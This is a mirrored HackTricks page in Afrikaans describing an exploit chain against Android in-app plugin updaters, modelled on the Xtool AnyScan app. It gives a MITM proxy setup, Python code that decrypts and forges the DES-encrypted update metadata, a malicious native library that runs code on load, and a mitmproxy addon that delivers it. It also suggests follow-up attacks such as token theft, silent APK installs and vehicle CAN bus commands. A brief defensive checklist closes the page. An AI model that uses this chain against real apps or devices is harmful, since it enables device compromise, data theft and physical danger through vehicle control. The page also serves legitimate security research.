mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
125 lines
6.0 KiB
Markdown
125 lines
6.0 KiB
Markdown
# Onveilige In-App Opdateringsmeganismes – Afgeleide Kode-uitvoering via Kwaadwillige Plugins
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Baie Android-toepassings implementeer hul **eie “plugin” of “dinamiese kenmerk” opdateringskanale** in plaas van om die Google Play Store te gebruik. Wanneer die implementering onveilig is, kan 'n aanvaller wat die verkeer kan onderskep **arbitraire nativ kode verskaf wat binne die app-proses gelaai sal word**, wat lei tot volle Afgeleide Kode-uitvoering (RCE) op die toestel – en in sommige gevalle op enige eksterne toestel wat deur die app beheer word (motors, IoT, mediese toestelle …).
|
||
|
||
Hierdie bladsy som 'n werklike kwesbaarheidsketting op wat in die Xtool **AnyScan** motor-diagnose app (v4.40.11 → 4.40.40) gevind is en generaliseer die tegniek sodat jy ander Android-toepassings kan auditeer en die mis-konfigurasie kan wapen tydens 'n rooi-span betrokkenheid.
|
||
|
||
---
|
||
## 1. Identifisering van 'n Onveilige TLS TrustManager
|
||
|
||
1. Decompileer die APK met jadx / apktool en lokaliseer die netwerkstapel (OkHttp, HttpUrlConnection, Retrofit…).
|
||
2. Soek vir 'n **aangepaste `TrustManager`** of `HostnameVerifier` wat blindelings elke sertifikaat vertrou:
|
||
```java
|
||
public static TrustManager[] buildTrustManagers() {
|
||
return new TrustManager[]{
|
||
new X509TrustManager() {
|
||
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
|
||
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
|
||
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||
}
|
||
};
|
||
}
|
||
```
|
||
3. As dit teenwoordig is, sal die toepassing **enige TLS-sertifikaat** aanvaar → jy kan 'n deursigtige **MITM-proxy** met 'n self-onderteken sertifikaat laat loop:
|
||
```bash
|
||
mitmproxy -p 8080 -s addon.py # see §4
|
||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||
```
|
||
## 2. Omgekeerde Ingenieurswese van die Opdatering Metadata
|
||
|
||
In die AnyScan geval aktiveer elke app-lancering 'n HTTPS GET na:
|
||
```
|
||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||
```
|
||
Die responsliggaam is 'n **XML-dokument** waarvan die `<FileData>` knope **Base64-gecodeerde, DES-ECB versleutelde** JSON bevat wat elke beskikbare plugin beskryf.
|
||
|
||
Tipiese jagstappe:
|
||
1. Vind die kripto-routine (bv. `RemoteServiceProxy`) en herstel:
|
||
* algoritme (DES / AES / RC4 …)
|
||
* werkingmodus (ECB / CBC / GCM …)
|
||
* hard-gecodeerde sleutel / IV (dikwels 56-bis DES sleutels of 128-bis AES sleutels in konstantes)
|
||
2. Her-implementeer die funksie in Python om die metadata te ontsleutel / te versleutel:
|
||
```python
|
||
from Crypto.Cipher import DES
|
||
from base64 import b64decode, b64encode
|
||
|
||
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
|
||
|
||
def decrypt_metadata(data_b64: str) -> bytes:
|
||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||
return cipher.decrypt(b64decode(data_b64))
|
||
|
||
def encrypt_metadata(plaintext: bytes) -> str:
|
||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||
```
|
||
## 3. Skep 'n Kwaadwillige Plugin
|
||
|
||
1. Kies enige legitieme plugin ZIP en vervang die inheemse biblioteek met jou payload:
|
||
```c
|
||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||
__attribute__((constructor))
|
||
void init(void){
|
||
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
|
||
// spawn reverse shell, drop file, etc.
|
||
}
|
||
```
|
||
|
||
```bash
|
||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||
```
|
||
2. Werk die JSON-metadata op sodat `"FileName" : "PWNED.zip"` en `"DownloadURL"` na jou HTTP-bediener wys.
|
||
3. DES-enkripteer + Base64-kodeer die gewysigde JSON en kopieer dit terug binne die onderskepte XML.
|
||
|
||
## 4. Lewer die Payload met mitmproxy
|
||
|
||
`addon.py` voorbeeld wat *stilweg* die oorspronklike metadata verwissel:
|
||
```python
|
||
from mitmproxy import http
|
||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||
|
||
def request(flow: http.HTTPFlow):
|
||
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
|
||
flow.response = http.Response.make(
|
||
200,
|
||
MOD_XML,
|
||
{"Content-Type": "text/xml"}
|
||
)
|
||
```
|
||
Voer 'n eenvoudige webbediener uit om die kwaadwillige ZIP te huisves:
|
||
```bash
|
||
python3 -m http.server 8000 --directory ./payloads
|
||
```
|
||
Wanneer die slagoffer die app begin, sal dit:
|
||
* ons vervalste XML oor die MITM-kanaal verkry;
|
||
* dit met die hard-gekodeerde DES-sleutel ontcijfer en ontleed;
|
||
* `PWNED.zip` aflaai → uitpak binne private stoor;
|
||
* `dlopen()` die ingeslote *libscan_x64.so*, wat ons kode onmiddellik uitvoer **met die app se toestemmings** (kamera, GPS, Bluetooth, lêerstelsel, …).
|
||
|
||
Omdat die plugin op skyf gekas is, **bly die agterdeur oor herlaai** en loop elke keer wanneer die gebruiker die verwante funksie kies.
|
||
|
||
## 5. Post-Exploitation Idees
|
||
|
||
* Steel sessie koekies, OAuth tokens, of JWTs wat deur die app gestoor word.
|
||
* Laat 'n tweede-fase APK val en installeer dit stilweg via `pm install` (die app het reeds `REQUEST_INSTALL_PACKAGES`).
|
||
* Misbruik enige gekonnekteerde hardeware – in die AnyScan-scenario kan jy arbitrêre **OBD-II / CAN bus opdragte** stuur (deure ontgrendel, ABS deaktiveer, ens.).
|
||
|
||
---
|
||
### Opsporing & Versagting Kontrolelys (blou span)
|
||
|
||
* NOOIT 'n produksiebou met 'n pasgemaakte TrustManager/HostnameVerifier wat sertifikaatvalidasie deaktiveer, stuur nie.
|
||
* Moet nie uitvoerbare kode van buite Google Play aflaai nie. As jy *moet*, teken elke plugin met dieselfde **apkSigning v2** sleutel en verifieer die handtekening voordat jy laai.
|
||
* Vervang swak/hard-gekodeerde kripto met **AES-GCM** en 'n bediener-kant draaiende sleutel.
|
||
* Verifieer die integriteit van afgelaaide argiewe (handtekening of ten minste SHA-256).
|
||
|
||
---
|
||
## Verwysings
|
||
|
||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|